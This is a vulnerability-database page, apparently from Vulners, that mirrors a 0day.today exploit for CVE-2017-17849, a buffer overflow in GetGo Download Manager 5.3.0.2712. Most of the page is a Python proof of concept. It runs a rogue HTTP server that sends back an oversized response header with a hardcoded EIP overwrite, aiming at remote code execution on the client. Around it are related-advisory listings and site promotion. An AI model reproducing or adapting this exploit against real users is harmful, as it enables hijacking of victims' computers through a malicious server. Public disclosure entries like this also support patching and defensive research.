Lucene search
+L

GetGo Download Manager 5.3.0.2712 Buffer Overflow Exploit

🗓️ 24 Dec 2017 00:00:00Reported by Aloyce MakalangaType 
zdt
 zdt
🔗 0day.today👁 43 Views

Buffer overflow in GetGo Download Manager 5.3.0.2712 allows remote code execution via long HTTP respons

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
GetGo Download Manager 6.2.1.3200 - Buffer Overflow Exploit
25 Jul 201800:00
–zdt
attackerkb
attackerkb
CVE-2017-17849
27 Dec 201717:08
–attackerkb
bdu_fstec
BDU FSTEC
GetGo Download Manager Buffer Overflow
1 Feb 201800:00
–bdu_fstec
cnvd
CNVD
GetGo Download Manager Buffer Overflow Vulnerability
25 Dec 201700:00
–cnvd
cve
CVE
CVE-2017-17849
24 Dec 201718:00
–cve
cvelist
Cvelist
CVE-2017-17849
24 Dec 201718:00
–cvelist
exploitdb
Exploit DB
GetGo Download Manager 5.3.0.2712 - Buffer Overflow
26 Dec 201700:00
–exploitdb
exploitdb
Exploit DB
GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)
25 Jul 201800:00
–exploitdb
exploitpack
exploitpack
GetGo Download Manager 5.3.0.2712 - Buffer Overflow
26 Dec 201700:00
–exploitpack
exploitpack
exploitpack
GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)
25 Jul 201800:00
–exploitpack
Rows per page
# Exploit Title: Buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712
# CVE: CVE-2017-17849
# Date: 22-12-2017
# Tested on Windows 10 32 bits
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Software Link: http://www.getgosoft.com/getgodm/ <http://www.getgosoft.com/getgodm/>
# Category: webapps
# Attack Type: Remote
# Impact: Code Execution



1. Description

A buffer overflow vulnerability in GetGo Download Manager 5.3.0.2712 and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution on the victim computer.


2. Proof of Concept


def main():
    host = "192.168.205.128"
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port

    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]

    evilbuffer = "A" * 4105
    hardCodedEIP= "\x69\x9E\x45\x76" #This is a hardcoded EIP just for demo :). As you can see on the screenshot, we hit a breakpoint, right here on this EIP. Do you see our stack!!! You need to change this.
    pads  = "C"*(6000 - len(evilbuffer + hardCodedEIP))
    payload = evilbuffer + hardCodedEIP + pads

    buffer = "HTTP/1.1 200 " + payload + "\r\n"

    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending buffer: OK\n"

    sleep(3)
    cl.close()
    s.close()

if __name__ == '__main__':
    import socket
    from time import sleep
    main()



3. Solution:
   No solution as of yet.


#  0day.today [2018-02-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Dec 2017 00:00Current
9.2Critical risk
Vulners AI Score9.2
EPSS0.19015
43